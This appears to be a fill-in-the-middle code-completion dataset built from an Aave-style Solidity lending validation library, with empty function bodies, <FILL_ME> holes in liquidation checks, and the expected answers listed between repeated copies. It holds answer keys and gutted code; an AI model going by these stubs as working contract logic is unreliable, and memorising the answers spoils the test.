&& !vars.principalReservePaused, Errors.RESERVE_PAUSED); require( params.priceOracleSentinel == address(0) || params.healthFactor < MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD || IPriceOracleSentinel(params.priceOracleSentinel).isLiquidationAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); require( params.healthFactor < HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD ); vars.isCollateralEnabled = collateralReserve.configuration.getLiquidationThreshold() != 0 && userConfig.isUsingAsCollateral(collateralReserve.id); //if collateral isn't enabled as collateral by user, it cannot be liquidated require(vars.isCollateralEnabled, Errors.COLLATERAL_CANNOT_BE_LIQUIDATED); require(params.totalDebt != 0, Errors.SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER); } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
vars.collateralReserveActive&&vars.principalReserveActive,Errors.RESERVE_INACTIVE
435,439
vars.collateralReserveActive&&vars.principalReserveActive
Errors.RESERVE_PAUSED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { ValidateLiquidationCallLocalVars memory vars; (vars.collateralReserveActive, , , , vars.collateralReservePaused) = collateralReserve .configuration .getFlags(); (vars.principalReserveActive, , , , vars.principalReservePaused) = params .debtReserveCache .reserveConfiguration .getFlags(); require(vars.collateralReserveActive && vars.principalReserveActive, Errors.RESERVE_INACTIVE); require(<FILL_ME>) require( params.priceOracleSentinel == address(0) || params.healthFactor < MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD || IPriceOracleSentinel(params.priceOracleSentinel).isLiquidationAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); require( params.healthFactor < HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD ); vars.isCollateralEnabled = collateralReserve.configuration.getLiquidationThreshold() != 0 && userConfig.isUsingAsCollateral(collateralReserve.id); //if collateral isn't enabled as collateral by user, it cannot be liquidated require(vars.isCollateralEnabled, Errors.COLLATERAL_CANNOT_BE_LIQUIDATED); require(params.totalDebt != 0, Errors.SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER); } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!vars.collateralReservePaused&&!vars.principalReservePaused,Errors.RESERVE_PAUSED
435,439
!vars.collateralReservePaused&&!vars.principalReservePaused
Errors.COLLATERAL_CANNOT_BE_LIQUIDATED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { ValidateLiquidationCallLocalVars memory vars; (vars.collateralReserveActive, , , , vars.collateralReservePaused) = collateralReserve .configuration .getFlags(); (vars.principalReserveActive, , , , vars.principalReservePaused) = params .debtReserveCache .reserveConfiguration .getFlags(); require(vars.collateralReserveActive && vars.principalReserveActive, Errors.RESERVE_INACTIVE); require(!vars.collateralReservePaused && !vars.principalReservePaused, Errors.RESERVE_PAUSED); require( params.priceOracleSentinel == address(0) || params.healthFactor < MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD || IPriceOracleSentinel(params.priceOracleSentinel).isLiquidationAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); require( params.healthFactor < HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD ); vars.isCollateralEnabled = collateralReserve.configuration.getLiquidationThreshold() != 0 && userConfig.isUsingAsCollateral(collateralReserve.id); //if collateral isn't enabled as collateral by user, it cannot be liquidated require(<FILL_ME>) require(params.totalDebt != 0, Errors.SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER); } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
vars.isCollateralEnabled,Errors.COLLATERAL_CANNOT_BE_LIQUIDATED
435,439
vars.isCollateralEnabled
Errors.LTV_VALIDATION_FAILED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => 